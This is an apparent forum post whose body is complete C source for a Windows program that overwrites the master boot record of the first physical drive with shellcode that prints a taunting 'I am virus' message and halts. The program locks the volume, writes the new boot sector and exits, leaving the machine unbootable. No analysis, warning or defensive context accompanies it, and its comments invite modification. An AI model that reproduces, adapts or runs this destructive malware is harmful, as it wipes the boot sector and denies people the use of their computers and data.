- UID
- 4310
- 精华
- 积分
- 8
- 威望
- 点
- 宅币
- 个
- 贡献
- 次
- 宅之契约
- 份
- 最后登录
- 1970-1-1
- 在线时间
- 小时
|
发表于 2018-9-23 21:15:56
|
显示全部楼层
#include<stdio.h>
#include<tchar.h>
#include<Windows.h>
#include<ntddscsi.h>
//This shell code can be modfit
// I am virus! Fuck you
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int KillMBR();
int main()
{
KillMBR();
return 0;
}
int KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = { 0 };
// rebuild MBR
memcpy(pMBR, scode, sizeof(scode)-1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
//Open disk
hDevice = CreateFile
(
_T("\\\\.\\PHYSICALDRIVE0"),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)//Open fail
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// Write-in virus
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
//Close hard drive
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
|
|